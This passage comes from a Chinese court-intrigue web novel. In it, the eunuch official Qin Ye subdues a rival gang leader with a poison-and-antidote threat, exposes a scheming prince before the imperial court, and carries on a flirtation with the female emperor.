秦烨心中冷笑。这周马煜打的什么主意，他再清楚不过。无非是看虎卫初立，想趁机吞并罢了。什么兄弟情谊，不过是个冠冕堂皇的借口。 春风徐徐，吹动着门前的杨柳。秦烨沉默片刻，突然笑道：“周帮主有所不知，我与赵兄也是至交，正想为他讨个说法。” 周马煜眼神一凝：“哦？阁下的意思是？” “不如请周帮主进去详谈？”秦烨做了个请的手势，“在外面说话，难免不太方便。” 周马煜略一沉吟，点头道：“也好。” 一行人鱼贯而入。院内青石板铺就的小径两旁，几株梅花正含苞待放。鬱风和褚煦闻讯赶来，看到周马煜时，两人脸色骤变。 “周帮主，你……”鬱风话未说完，就被周马煜抬手打断。 “稍安勿躁，容我与你们首领谈谈。”周马煜的声音依旧温和。 这时，商媛从内堂走出。她穿着一身素色长裙，看到秦烨时，眼前一亮：“你回来了？” “嗯。”秦烨点头，目光在她脸上停留片刻。 “秦大人！”鬱风和褚煦同时行礼，神色间带着几分紧张。 周马煜眼神陡然一厉：“原来是你霸占了赵兄的基业！”他冷笑道，“劝你识相点，主动交出虎卫，否则……” “否则如何？”秦烨打断他的话，“要让我躺着出去？” 院内气氛骤然紧张。周马煜身后的随从们纷纷握紧了兵器，杀气腾腾。 “看来你是敬酒不吃吃罚酒了！”周马煜怒极反笑，身上的气势陡然爆发，如同一柄出鞘的利剑。 “周帮主。”秦烨摇头，“你真以为，带着这些人就能在我虎卫耀武扬威？” “狂妄小儿！”周马煜厉喝一声，“今日我倒要看看，你有什么本事！” “那就试试看。”秦烨眼中寒光一闪。 院内剑拔弩张，一场大战一触即发。 秦烨心中冷笑。在外面他之所以隐忍，就是要把这些人引进来。有了这四面高墙，无论发生什么，都不会惊动外人。 这周马煜，自以为是在布局，殊不知早已落入他的圈套。院内的布置，每一处都经过精心安排。就连那些看似随意生长的花草，都暗藏玄机。 “沈化林，韩九。”秦烨淡淡开口。 “在！”两道身影突然出现在院内，一左一右将周马煜等人包围。 沈化林身形瘦削，面无表情，手中握着一柄寒光闪闪的短刀。韩九则是个魁梧大汉，赤手空拳，但周身气势凝重如山。 周马煜脸色微变。这两人的气息，竟然都在三品之上！ “让他们见识见识，什么叫真正的高手。”秦烨嘴角勾起一抹冷笑。 话音未落，沈化林和韩九已经动了。两人一个快若闪电，一个稳如泰山，配合默契地向周马煜等人发起攻击。 院内顿时响起兵器碰撞的声音。周马煜的随从们虽然人多，但面对两位高手的夹击，很快就显出不支。 “砰！”一声闷响，一名随从被韩九一掌拍飞，重重撞在墙上，吐出一口鲜血。 “叮！”沈化林的短刀划过，两名持刀随从的兵器应声而断。 周马煜脸色阴沉，他没想到虎卫竟然藏着这样的高手。更让他意外的是，这些人对虎卫的忠诚度似乎很高，完全不像是临时招揽的打手。 “周帮主，现在还想替赵兄讨回公道吗？”秦烨悠然开口，语气中带着几分嘲讽。 周马煜咬牙，正要说话，突然感觉背后一凉。不知何时，又一道身影无声无息地出现在他身后。 “你……”周马煜猛地转身，却见一个面容普通的中年人正淡淡地看着他。 第一百五十九章 高深一筹 这人不是别人，正是虎卫的另一位高手，孔三。他的实力比沈化林和韩九还要高深一筹，此时只是站在那里，就给人一种无形的压迫感。 周马煜额头渗出冷汗。他终于明白，自己这次是踢到铁板了。 “周帮主，不如我们坐下来好好谈谈？”秦烨的声音再次响起，“关于赵兄的事，我想我们之间可能有些误会。” 周马煜深吸一口气，强压下心中的怒火和惊惧：“好，那就谈谈。” 看着周马煜吃瘪的样子，鬱风和褚煦对视一眼，都从对方眼中看到了欣喜。他们终于明白，为什么大人敢只身迎敌了。 原来，真正的高手早就布置好了。这哪里是什么鲁莽行为，分明是处心积虑的圈套！ “且慢，”秦烨从怀中掏出一个青瓷小瓶，倒出几粒丹药，随手抛给周马煜：“吃下它，你们就是虎卫的人了。” “你……”周马煜脸色大变，“这是什么？” “毒药。”秦烨直言不讳，“吃下去，生死就由我掌控。当然，你也可以选择不吃，那么现在……” 他的目光扫过在场的帮众，每个人都不由自主地打了个寒颤。 周马煜握着丹药的手微微发抖。他很清楚，今晚自己只有两个选择：要么臣服，要么死。 万般无奈，他只得被迫吞下了那颗丹药。 腹中瞬间传来一阵剧痛，仿佛有千万把刀子在绞动。他的脸色瞬间变得惨白，冷汗如雨般滴落，额头上的青筋暴起，整个人痛得蜷缩成一团。 “啊！” 凄厉的惨叫声在大堂内回荡。周马煜再也无法保持那高高在上的姿态，整个人蜷缩在地上，痛苦地打滚。他的衣衫早已被冷汗浸透，面容扭曲得不成人形。 大堂内的烛火摇曳，将众人的影子投射在墙上，扭曲变形，如同地狱中的恶鬼。空气中弥漫着一股令人作呕的腥臭味，那是毒发时特有的气味。 秦烨站在高处，居高临下地看着这一幕。他的目光冷漠，嘴角勾起一抹讥讽的笑意。烛光映照在他的脸上，为那张年轻的面孔增添了几分阴冷。 “周帮主，滋味如何？”秦烨的声音不疾不徐，“这可是我特意为你准备的"见面礼"。” “给……给我解药……”周马煜艰难地抬起头，眼中满是哀求之色。他的嘴角溢出一丝鲜血，顺着下巴滴落在地上。 “急什么？”秦烨轻描淡写地说道，“让你也尝尝这种生不如死的滋味。” 周围那些服下毒药的天虎门帮众，此刻也都倒在地上痛苦呻吟。有人抱着肚子在地上打滚，有人则是双手抓地，指甲都抓出了血。整个大堂内充斥着此起彼伏的惨叫声和求饶声。 “秦……秦公子，求您给解药吧……” “我们知错了……” “饶命啊……” 这些平日里嚣张跋扈的帮众，此刻全都像条狗一样匍匐在地上求饶。他们的眼中满是恐惧和绝望，生怕秦烨一个不高兴就让他们痛苦而死。 秦烨环视四周，目光在每个人脸上扫过。这些人既然敢来找他的麻烦，就该承担相应的后果。他要让这些人明白，得罪他的代价有多大。 整整一刻钟过去了。 大堂内的惨叫声渐渐减弱，取而代之的是低声的呻吟。地上躺着的人已经没有力气再叫喊了，只能蜷缩着身子，承受着剧毒带来的痛苦。 秦烨这才从怀中取出几颗药丸，随手抛了出去。药丸在空中划出一道弧线，落在地上发出清脆的声响。 那些帮众顿时像饿狗抢食一般扑了上去。周马煜虽然是帮主，但此刻也顾不得什么颜面，和手下一起抢夺解药。他们推搡着、争抢着，完全忘记了自己的身份。 服下解药后，剧痛很快消退。众人如释重负地长出一口气，瘫软在地上大口喘息。他们的衣衫凌乱，脸上还带着未干的泪痕，狼狈不堪。 “从今天起，你们每七天都要来找我要一次解药。”秦烨淡淡地说道，声音中带着不容置疑的威严，“否则，就等着被活活痛死吧。” 周马煜面如死灰。他原本是来吞并虎卫的，没想到反倒把自己给搭了进去。此刻的他，就像是一只被拔了牙的老虎，再也没有了往日的威风。 “走吧。”秦烨挥了挥手，“记住我的话。” 周马煜带着手下灰溜溜地离开了。他们的脚步虚浮，身子还在微微发抖，显然还未从刚才的痛苦中完全恢复过来。 回到天虎门后，门口的帮众还不知道发生了什么，争相上前吹捧。他们脸上带着谄媚的笑容，完全不知道自己的帮主已经沦为了别人的阶下囚。 “帮主威武！” “虎卫算什么东西，还不是被帮主轻松拿下！” “帮主真是神通广大……” 这些恭维的话语传入周马煜耳中，却如同刀割一般难受。他猛地一掌拍出，将一个正在说话的帮众击飞出去。那人重重地撞在墙上，吐出一口鲜血。 “闭嘴！” 众人顿时噤若寒蝉。那些跟着去虎卫的帮众面面相觑，心中苦涩。他们已经沦为了虎卫的走狗，还要靠秦烨的解药续命。这种耻辱，比死还难受。 而此时的秦烨，已经离开了虎卫，向皇宫走去。 夜色渐深，街道上已经没有了行人。只有远处的更夫敲着梆子，发出“咚咚”的声响。月光洒在青石板上，将秦烨的影子拉得很长。 想到上官瑾这些日子应该很担心自己，他的脚步不由加快了几分。那张绝美的容颜在脑海中浮现，让他心中一暖。 然而此刻的承明殿内，上官瑾却是眉头紧锁。 案几上堆满了奏折，烛光映照下，她那张绝美的容颜显得有些疲惫。大半朝臣都在上书，要求让藩王上官煜辅政。这让她头疼不已。 “这些大臣……”上官瑾轻叹一声，纤细的手指轻轻揉着太阳穴，“难道看不出来这是上官煜的阴谋吗？” 她很清楚，一旦让上官煜辅政，自己这个皇帝之位就岌岌可危了。那些朝臣表面上是为了朝廷着想，实际上却是想借机削弱她的权力。 正当她为此烦恼时，殿外传来了脚步声。 “陛下，秦公公回来了。” 听到这个消息，上官瑾眼前一亮，脸上浮现出一抹笑意。这些天她一直在担心秦烨的安危，如今见他平安归来，悬着的心总算放了下来。 “让他进来。” 秦烨走进大殿，看到上官瑾正在处理奏折，不由得笑道：“陛下这是遇到什么难事了？” 烛光下，上官瑾的容颜愈发动人。她穿着一身龙袍，却掩盖不住那份天生的柔美。只是眉宇间的疲惫，让秦烨心中一疼。 “还不是那些大臣……”上官瑾将藩王的事情说了一遍，声音中带着几分无奈。 第一百六十章 趁机夺权 秦烨听完后，眼中闪过一丝寒芒：“上官煜这是想趁机夺权啊。” “是啊。”上官瑾叹了口气，玉手轻轻抚过案几上的奏折，“这些大臣明里暗里都在施压，让我很为难。” “陛下不必担心。”秦烨笑道，“有我在，谁也别想动摇您的皇位。” 听到这句话，上官瑾心中一暖。有秦烨在身边，她总是能感到莫名的安心。那些烦恼似乎也随之消散了不少。 “对了，这些天你去哪里了？”上官瑾关切地问道，美眸中带着几分担忧。 “处理了一些小事。”秦烨没有细说天虎门的事情，只是笑着说道，“让陛下担心了。” “你没事就好。”上官瑾松了口气，“这些天我一直在担心你。” 秦烨看着上官瑾关切的眼神，心中一动。这个女子虽贵为天子，却对自己如此关心，让他不由得心生感动。 “陛下放心，我不会有事的。” 两人相视一笑，殿内的气氛顿时变得温馨起来。烛光摇曳，将两人的影子投射在墙上，渐渐重合在一起。 而此时的天虎门内，周马煜正独自坐在房中，面色阴沉。 房间内一片昏暗，只有一盏油灯发出微弱的光芒。周马煜坐在椅子上，手中握着一个酒壶，不停地往嘴里灌着烈酒。 他怎么也没想到，自己会栽在秦烨手里。如今不但没能吞并虎卫，反而要靠秦烨的解药续命，这让他如何能咽下这口气？ “秦烨……”他咬牙切齿地说道，酒壶被他捏得变形，“总有一天，我要让你付出代价！” 然而这誓言，在如今的他看来，却显得那么无力。他知道，只要解药还在秦烨手中，他就永远无法翻身。这种被人掌控的感觉，比死还要难受。 女帝最近的日子不太好过。 朝臣们的奏疏堆积如山，上官瑾揉了揉发胀的太阳穴，指尖微微发颤。案几上的茶水早已凉透，她却浑然不觉。 这些日子以来，朝中大臣纷纷上书，一再要求让藩王上官煜辅政。即使被她驳回也不愿放弃，照旧上书。每一份奏疏都有理有据，字字珠玑，让她难以反驳。更要命的是，上官煜在民间的声望如日中天，百姓们对这位英明神武的藩王爷推崇备至。 “陛下，仪部侍郎杨大人又来了。”小太监战战兢兢地在殿外禀报。 上官瑾眉头紧蹙，这已经是杨大人今天第三次来了，无非还是为了藩王的事。 “宣他进来吧。” 杨尚书快步走进大殿，行礼后便开始滔滔不绝：“陛下，藩王殿下德才兼备，威望甚高。如今朝中诸事繁杂，实在需要藩王殿下辅佐……” 上官瑾闭上眼睛，太阳穴突突直跳。这些话她已经听了无数遍，每个大臣说辞都差不多。 “杨爱卿，此事容后再议。” “陛下！”杨尚书突然跪下，“老臣斗胆，还请陛下三思！” 上官瑾心中烦躁，正要说话，忽听殿外传来一阵急促的脚步声。 还未等内侍通报，大殿的门就被推开了。在这承明殿中，也只有那个不知天高地厚的家伙，敢不经通传就直接闯进来。 秦烨大步流星地走了进来，目光在跪着的杨尚书身上一扫而过，嘴角勾起一抹若有若无的笑意。 “杨大人这是在做什么？” 杨尚书神色一滞，随即说道：“秦大人有所不知，老臣正在为藩王殿下……” “哦？”秦烨打断他的话，“杨大人确定要为藩王说话？” 杨尚书一愣，不明白秦烨话中深意：“这是自然，藩王殿下……” “那杨大人可知道，藩王殿下这些年在江南做了些什么？” 秦烨说着，从袖中取出一叠文书，随手扔在地上。纸张四散飞舞，上面密密麻麻写满了字迹。 杨尚书下意识地拾起一张，目光扫过纸面，脸色顿时大变。 “这……这……” “怎么？杨大人认得这些字迹？”秦烨笑着问道。 杨尚书额头渗出冷汗：“这是……” “没错，这正是青云教教主芮容霄的手书。”秦烨缓缓道，“而芮容霄，就是藩王上官煜。” “不可能！”杨尚书失声叫道，“藩王殿下怎会是邪教教主？” “有什么不可能的？”秦烨从怀中又取出一封信，“这是江南布政使亲笔所写，详细记载了藩王如何暗中扶持青云教，借教众之力扩张势力。” 杨尚书颤抖着手接过信件，越看脸色越是苍白。 “不仅如此，”秦烨继续道，“藩王还修炼了邪门功法噬月大功，残害武林同道。这些受害者的名单都在这里，杨大人要不要看看？” 杨尚书连连摆手：“不……不用了……” “那杨大人觉得，让一个邪教教主入京辅政，是否合适？” 杨尚书额头冷汗直流，连忙叩首：“老臣糊涂，请陛下恕罪！老臣这就去收回奏疏！” 说完，他慌不迭地爬起来，踉踉跄跄地跑出大殿。 目送杨尚书离去，秦烨转身看向上官瑾，却见她正用复杂的目光看着自己。 “你早就知道这些？” 秦烨点点头：“为了查证这些事，我才会离开这么久。” 上官瑾站起身，在殿内来回踱步：“可是这些证据……” “都是真的。”秦烨打断她的话，“而且不止这些。藩王这些年在江南经营，野心勃勃。若让他入京，后果不堪设想。” 上官瑾停下脚步，望着窗外发呆。良久，她才轻声道：“我明白了。” “那陛下准备如何处置？” “先把证据散布出去，让那些大臣们知道真相。”上官瑾眼中闪过寒芒，“至于藩王……且让他在江南多待些时日。” 秦烨笑了：“陛下英明。” “少拍马屁。”上官瑾白了他一眼，“倒是你，这次立了大功，想要什么赏赐？” “赏赐就不必了。”秦烨慢悠悠地说，“不过……陛下似乎忘了什么？” 上官瑾一怔，随即想起那个赌约，俏脸顿时飞上两朵红云：“你……你休想！” “君无戏言。”秦烨一步步逼近，“陛下该不会想要食言吧？” 上官瑾下意识地后退，直到背抵住了冰冷的墙壁：“你……你别过来……” 秦烨却不管这些，继续向前。两人之间的距离越来越近，上官瑾甚至能感受到他的呼吸。 “我……” 话未说完，秦烨已经低头吻住了她的唇。 上官瑾瞪大眼睛，想要推开他，却发现自己浑身发软，使不出半点力气。 这个吻很轻柔，带着几分试探，却让她心跳加速，脸颊发烫。 第一百六十一章 轩然大波 不知过了多久，秦烨才依依不舍地松开她。 “陛下的唇，比我想象中还要甜。” “混……混蛋！”上官瑾羞恼地锤了他一拳，却软绵绵的毫无力道。 秦烨笑着握住她的手：“陛下若是觉得不够，我们还可以……” “滚！”上官瑾红着脸怒喝，“再不滚，朕就叫人把你拖出去！” 秦烨识趣地后退两步，脸上笑意不减：“那臣先告退了。不过……” 他意味深长地看了上官瑾一眼：“赌约还没完，陛下可要做好心理准备。” 说完，他大笑着转身离去，留下上官瑾一个人在原地跺脚。 “可恶！”上官瑾咬牙切齿，“这个混蛋，总有一天要让他好看！” 可是说这话时，她的嘴角却不自觉地勾起一抹笑意。 案几上的奏疏还堆积如山，但上官瑾的心情却轻松了许多。她继续翻阅着手中的奏折。朝中大臣多数支持上官煜，就算秦烨再有本事，又如何能扭转这么多朝臣的心意？ “连朕都无可奈何……”她喃喃自语，指尖轻轻摩挲着奏折边缘。不过想到若是秦烨真能说服那些朝臣，自己就要答应他那件事……上官瑾不由得俏脸微红，连忙摇头驱散这个念头。 与此同时，江湖上却掀起了一场轩然大波。 “你们听说了吗？芮容霄就是上官煜！”一个青衫剑客在茶馆中压低声音道。 “胡说八道！”旁边一位老者冷哼一声，“芮容霄乃是当世大侠，怎会是那个阴险小人？” “是真的！”青衫剑客急道，“沈家小姐沈飞雪已经出面作证了！” 茶馆内顿时一片哗然。沈飞雪在江湖上的名声极好，她既然出面作证，那这消息十有八九是真的。 有心人开始暗中调查，很快发现了更多蹊跷之处。这个芮容霄，竟是在先帝驾崩后才突然出现在江湖上。在此之前，江湖中从未有过他的传闻。 “你们可知道，青云教的创立时间，也恰好是在几年前。”一位白发老者坐在茶馆角落，缓缓开口。 此言一出，众人恍然大悟。联系到青云教的宗旨，众人渐渐拼凑出了真相。原来芮容霄表面上是个正人君子，实则是个卑鄙小人。他不但修炼邪功，还勾结巫疆，杀害了众多江湖正道人士。 这个消息如同长了翅膀，很快传遍了大江南北。各大门派纷纷派出弟子打探消息，一时间江湖风声鹤唳。 汴城中消息灵通之人也都得知此事，包括女帝上官瑾。不过她并不太在意这些江湖传闻。虽然暗自欣喜江湖上的人知道了上官煜的真面目，但江湖之事，终究影响不到朝堂。 正当上官瑾为此发愁时，殿外传来了脚步声。 “陛下。”秦烨推门而入，手中还拿着几份文书，“这是臣整理的朝中各派系势力分布。” 上官瑾接过文书，仔细翻看起来。秦烨则站在一旁，静静等待。 “这些……都是真的？”上官瑾蹙眉问道。 秦烨点头：“千真万确。臣这些日子一直在暗中调查。” 上官瑾又翻了几页，眉头渐渐舒展。这份资料详细记录了朝中各个大臣的关系网络，甚至连一些隐秘的往来都查得清清楚楚。 “你是如何查到这些的？”她抬头看向秦烨。 “这个……”秦烨露出一个神秘的笑容，“陛下就别问了。不过请相信臣，这些消息绝对准确。” 上官瑾轻哼一声，继续看着手中的文书。突然，外面传来了太监的叩门声。 “陛下，该翻牌子了。” 这几日秦烨不在，上官瑾总是找各种理由推脱。如今秦烨回来了，她终于可以堂堂正正地召妃子侍寝。 “宣哪个妃子来侍寝？”上官瑾看向托盘中的玉牌，目光不经意间扫过秦烨。 “不如宣韩玉仪吧。”秦烨建议道。 上官瑾眉梢微扬，语气中带着一点醋意：“你怎么就那么喜欢她？” “非也非也。”秦烨连忙摆手，“此事还是为了陛下考虑。” “为了朕？”上官瑾冷笑，“这明显是为了你自己的畅快，还说是为了朕？” 秦烨正色道：“陛下你还不晓得。韩玉仪的父亲在朝中地位不低，若能笼络住韩玉仪，便能拉拢一批朝臣。” 上官瑾虽然觉得有几分道理，但心里总觉得秦烨是真的喜欢韩玉仪，有些不舒服。可她没多说什么，直接翻了韩玉仪的牌子。 夜幕降临，承明殿内。 韩玉仪得知自己被翻牌子后，立刻让宫女们准备热水沐浴。她仔细梳洗打扮，换上一件淡粉色宫装，对着铜镜反复检查。 “娘娘真是美极了。”贴身宫女小声赞叹。 韩玉仪抿嘴一笑，又补了补妆，这才起身前往承明殿。 上官瑾已经提前帮秦烨准备好了避子汤。看着他一饮而尽，她微微皱眉：“韩玉仪已经在外面等着了，不能让她久等。不过，你还行吗？” “呃……”秦烨干笑两声，拍着胸脯道，“怎么会不行？男人不能说不行！” 上官瑾看着他这副样子，忍不住翻了个白眼。 “你这个太监，也配称男人？”上官瑾故意调侃他一句。 秦烨目光灼灼地看着她，嘴角勾起一抹意味深长的笑意：“要不要试试看？” 上官瑾被他直白的话语激得俏脸一红，随即恼羞成怒：“大胆！”她猛地站起身，华贵的龙袍在烛光下闪烁着金线的光芒，“你可知道对君王不敬是什么罪过？” “陛下这是恼羞成怒了？”秦烨不紧不慢地向前迈了一步，眸中带着几分戏谑，“还是说，陛下心虚了？” 上官瑾咬了咬唇，转过头朝殿外喊道：“宣韩玉仪进宫侍寝！” 夜色如墨，承明殿内一片漆黑。宫女们手持宫灯，将韩玉仪引到殿内。她身着华服，步履轻盈，眼中带着几分期待和羞涩。自从初尝滋味后，宫中妃嫔们无不魂牵梦绕，私下里议论纷纷。 进入寝室，黑暗中，秦烨将她揽入怀中，低声笑道：“昭仪这么心急？”温热的气息拂过她的耳畔，惹得她浑身一颤。 上官瑾站在屏风后，听着床榻之上传来的声音，手中的茶盏几乎要被捏碎。她强迫自己不要过分关注，却总是不自觉地竖起耳朵。 一夜春风。 第一百六十二章 铁证如山 次日清晨，韩玉仪满面春色地离开了承明殿。她行至宫门口时，还忍不住回头看了一眼，眼中满是留恋之色。 上官瑾顶着两个黑眼圈，恨恨地瞪着秦烨。她整夜未眠，又气又恼，此刻看到秦烨那张带着倦意却依旧从容的脸，更是气不打一处来：“明日就是朝会，那些老臣又要来劝进，你有什么对策？” “陛下放心。”秦烨整了整衣襟，从容道，“倒是咱们的赌约，陛下可别想赖账。” “谁输谁赢还不一定！”上官瑾俏脸一红，想起昨夜的种种，心跳不由自主地加快。 秦烨不以为然地笑了笑：“我从不打没把握的仗。” 看着他胸有成竹的模样，上官瑾心中暗暗纳闷。这个男人总是这样，明明只是个太监，却总能在关键时刻给她惊喜。但这次，他究竟在打什么主意？ 汴城内，关于上官煜的传闻如野火般蔓延。茶楼酒肆中，三三两两的食客凑在一起，低声议论着这位朝中重臣的秘闻。有人惊诧，有人怀疑，更有人坚信这是有人在恶意中伤。 “听说了吗？藩王爷私下里竟然……” “嘘，小声点，这种事可不能乱说。” “我表兄的邻居就在藩王府附近，亲眼看见……” 上官煜的死党们更是坐立不安，四处打探消息来源。他们派出的探子遍布汴城各处，却始终找不到谣言的源头。这种诡异的情况，让他们心中愈发不安。 秦烨先去了趟长春宫，看望司马玉华。推开殿门时，见她小腹微隆，气色红润，他满意地点点头。 “娘娘这几日可有不适？”秦烨在她身边坐下，伸手替她把脉，轻声问道。 司马玉华摇摇头，眼中带着温柔的笑意：“一切都好，太医说胎儿很是稳当。” “那就好。”秦烨又叮嘱了几句养胎的事宜，这才起身告辞。 离开长春宫后，他直奔文渊阁。那些从张马临府上搜出来的密文，已经被分散翻译完毕。单独看每一段都毫无意义，但拼凑在一起，却是铁证如山。 秦烨将这些证据收入怀中，冷笑连连。纸上密密麻麻的数字，记录着张马临暗中向上官煜输送赃银的每一笔账目。这些字字句句，都能要了上官煜的命。 “上官煜啊上官煜，你的伪君子面具，也该摘下来了。”秦烨站在窗前，看着远处的宫墙，眼中闪过一丝冷意。 想到明日就能赢得和上官瑾的赌约，他的嘴角不自觉地上扬。但很快，他又收敛了笑意。这场博弈才刚刚开始，上官煜背后的势力错综复杂，一不小心就会万劫不复。 夜幕降临，秦烨回到自己的住处。他取出一个精致的木盒，里面装着一枚玉佩。这是他唯一的身世证明，也是他在这深宫之中立足的根本。 “爹，娘，你们在天之灵可看到了？”他轻抚着玉佩，眼中闪过一丝追忆，“儿子已经走到这一步了。” 朝阳初升，金光洒落在皇宫大殿之上，映照着那些雕梁画栋，将整座宫殿笼罩在一片金色的光辉中。 三声净鞭声响彻云霄，回荡在寂静的朝堂之上。文武百官身着朝服，神色各异地鱼贯而入，整齐地站立在殿中。空气中弥漫着一股若有若无的紧张气息。 秦烨站在群臣之中，目光不动声色地扫过周围那些面孔。有人神色如常，有人眉头微蹙，还有人眼中闪烁着不安的光芒。他知道，今日这场朝会注定不会平静。 上官煜入朝辅政的提议，就像一颗投入平静湖面的巨石，激起千层浪。这几日，整个朝堂上下都在暗潮涌动。 “有本早奏，无事退朝。” 龙座上，上官瑾威严的声音响起。她一身龙袍，头戴凤冠，虽是女子，却自有一番帝王威仪。只是那双明亮的眼眸中，似乎藏着一丝不易察觉的忧虑。 朝堂上一片寂静，没有人率先开口。众臣你看看我，我看看你，空气中的紧张感愈发浓郁。 秦烨站在自己的位置上，嘴角微微上扬。看来自己昨日放出的那些消息已经起了作用，让这些人都有些投鼠忌器了。 就在这时，一个洪亮的声音打破了沉默。 “臣孔云章，有事要奏！” 工部尚书孔云章突然站了出来，他那张布满皱纹的老脸上写满了正气凛然。只是那微微颤抖的双手，却暴露了他内心的不平静。 秦烨眯起眼睛，目光中闪过一丝玩味。这位孔大人，可是上官煜的心腹，看来是按捺不住了。 “准奏。”上官瑾淡淡道，目光若有所思地看了眼秦烨的方向。 孔云章清了清嗓子，声音洪亮地说道：“陛下，如今我大周内忧外患，百废待兴。边境战事频繁，民生凋敝，四方动荡，实在需要一位德高望重的宗室长者入朝辅政。” 他顿了顿，继续道：“臣以为，藩王殿下德才兼备，在民间声望极高，正是不二人选！” 此言一出，朝堂上顿时响起一片附和声。 “臣等附议！” “请陛下准许藩王入朝！” “藩王殿下德高望重，定能为陛下分忧！” 支持的声音此起彼伏，显然是早有准备。那些平日里不显山不露水的官员，此刻也都纷纷表态。 秦烨冷眼看着这一幕。这些人，演得还挺像那么回事。不过，今天他们怕是要失望了。 上官瑾的目光在人群中搜寻，最后落在了秦烨身上。那双明亮的眸子中，似乎带着一丝询问。 秦烨微微颔首，用眼神示意她不必担心。 看到秦烨的笑容，上官瑾想起了那个赌注，不由得俏脸微红。她急忙移开视线，生怕被人看出端倪。 “好一个德才兼备啊。” 就在这时，秦烨突然开口，声音不大，却清晰传遍大殿每个角落。他缓步走出队列，站到了殿中央。 所有人的目光都转向了他。有人露出疑惑的神色，有人则暗暗冷笑，显然是不把这个年轻的六品官放在眼里。 孔云章眉头一皱，随即又舒展开来：“原来是秦大人。看来秦大人也赞同让藩王入朝？” “为何不赞同？”秦烨笑着踱步向前，姿态从容，“让贤能之士入朝辅政，自然是好事。” 孔云章脸上露出得意之色，其他支持藩王的官员也都露出了笑容。 “不过……”秦烨话锋一转，“这个人选嘛，可就要好好斟酌了。” 他目光如炬，直视着孔云章：“藩王殿下，恐怕并不合适。” 第一百六十三章 朝堂哗然 此言一出，朝堂哗然。 “大胆！” “你一个小官也敢妄议国事？” “简直狂妄！” “不知天高地厚！” 面对众人的指责，秦烨神色从容，仿佛没有听到这些声音一般。 “诸位大人何必动怒？”他环视四周，目光中带着几分戏谑，“既然是为国议事，那就该讲究实事求是。” 他转向孔云章：“藩王殿下确实名声在外，但诸位可知他在江湖上的所作所为？” 孔云章脸色一变：“江湖传言岂能当真？李大人这是在污蔑皇室宗亲！” “哦？”秦烨冷笑，“那不如让我说说，藩王殿下这些年在江湖上干的那些好事？” 朝堂上顿时安静下来。秦烨知道，自己昨日放出的那些消息，已经在文武百官中传开了。 “藩王殿下表面上是为国为民，实则暗中结交江湖势力，意图不轨。”秦烨一字一句道，“这样的人，真的适合入朝辅政吗？” “污蔑！这是污蔑！”孔云章急得跳脚，额头上已经冒出了汗珠。 “是不是污蔑，想必诸位大人心中都有数。”秦烨淡淡道，“毕竟，这些事情在江湖上已经传得沸沸扬扬了。” 朝堂上的官员们面面相觑，许多人眼中都露出迟疑之色。显然，他们也听说过一些风声。 “秦大人，你可有实证？”一位平日里不偏不倚的大臣站出来问道。 “证据自然是有的。”秦烨微笑，“不过在此之前，我倒是想问问孔大人。” 他转向已经满头大汗的孔云章：“藩王殿下上个月可曾秘密会见过玄武帮帮主？” 孔云章脸色大变，嘴唇微微颤抖。 “还有，藩王府的账册，孔大人可敢拿出来给大家过目？” 秦烨步步紧逼：“那些流入藩王府的银两，来路可都清白？” 孔云章额头冒出冷汗，说不出话来。他没想到秦烨竟然连这些事情都知道。 龙座上，上官瑾看着这一幕，眼中闪过一丝赞赏。这个秦烨，果然没让她失望。 “诸位大人。”秦烨环视四周，“朝廷辅政，关系国计民生。若是让一个心怀不轨之人入主朝堂，后果不堪设想啊。” 他的话说到了许多大臣心坎上。支持藩王的声音渐渐低了下去，就连那些原本态度坚决的官员，此刻也都沉默不语。 孔云章还想说什么，却被秦烨抢先开口：“若是孔大人觉得我所言不实，大可让人彻查。只是……” 他意味深长地看了孔云章一眼：“不知孔大人，担不担得起这个后果？” 孔云章脸色煞白，双腿一软，差点跌倒。他知道，一旦彻查下去，不仅藩王府要倒霉，就连他自己也难逃干系。 朝堂上鸦雀无声。那些刚才还在大声支持藩王的官员，此刻都低下了头，生怕被人注意到。 秦烨整了整官服，缓缓开口：“不过，诸位大臣不知可曾想过一个问题？藩王，真的想入朝吗？” 秦烨的话音落下，所有人的目光都凝聚在他身上，连女帝上官瑾都露出了惊诧之色。她那双凤眸微微眯起，端坐在龙座上的身影略显僵硬。这个年轻人，为何突然替上官煜说起好话来？ “藩王殿下一向爱民如子，体恤百姓。”秦烨的声音在大殿内回荡，“近来传出的那些流言，恐怕另有隐情。” 司马辉站在殿下，他看出了一些端倪，这个年轻人，似乎在下一盘很大的棋。 “好一个欲扬先抑。”秦竹远压低声音，目光在秦烨身上逡巡。 孔云章的脸色阴晴不定，手指下意识地绞着官袍。他总觉得秦烨话中有话，却又说不出哪里不对。 “秦大人，”一名御史站了出来，声音尖锐，“你刚才所说藩王殿下表面上是为国为民，实则暗中结交江湖势力，意图不轨。如今却又……” “御史大人。”秦烨打断了他的话，嘴角挂着淡淡的笑意，“既然要说，不妨说得更清楚些。” 他不慌不忙地从怀中取出一叠文书，目光扫过殿内众人。那份从容让不少人心中一紧。 “诸位大人，这是从前任工部尚书张马临府上搜出的密件。”秦烨的声音不疾不徐，“张马临此人心思歹毒，不仅贪污受贿，还刻意捏造了许多关于藩王的罪证。” 殿内响起一阵窃窃私语。有人面露疑惑，有人神色警惕，更有人暗自揣测秦烨的用意。 “这些文字用的是秘文，一时难以辨认。”秦烨继续说道，“我已命人去文渊阁翻译，据说内容尽是污蔑藩王殿下的话语。” 他的语气中带着几分愤慨：“我深知这些都是诬陷之词，本不愿过目。但今日，我要当着诸位的面，揭露这些小人的卑劣行径。” 孔云章的脸色瞬间变得煞白。他的手心渗出冷汗，心跳声如擂鼓般响亮。张马临府上搜出的东西，岂会是什么诬陷之词？那分明是他们与藩王勾结的铁证！这些年来的种种罪行，都记录在案。 “秦大人！”孔云章急忙开口，声音略显嘶哑，“这等污蔑之词，何必在朝堂上提及？” 秦烨转过头，目光如刀般锋利：“孔大人此言差矣。正因为是污蔑，才更要当众澄清。让天下人都看看，有些人是如何恶意中伤藩王的。” 说着，他将那叠文书恭敬地递给太监。太监接过文书，快步走到龙座前。 上官瑾接过文书，纤细的手指翻开第一页。她那张倾城绝色的脸庞顿时一变，眼中寒光乍现。 只见上面详细记载着上官煜的种种劣迹：勾结南蛮，私通胡人，贪污赈灾银两，克扣灾民粮食……每一条都写得明明白白，甚至连具体数目都一一列出。 孔云章站在殿下，冷汗浸透了官袍。这些事，他再清楚不过。当初为了防止东窗事发，张马临确实留下了这些证据，以作保命之用。 “荒谬！”有大臣高声喊道，“这些定是有人栽赃陷害！” “是啊，藩王殿下德高望重，怎会做出这等事来？” “定是有人居心叵测，故意污蔑！” 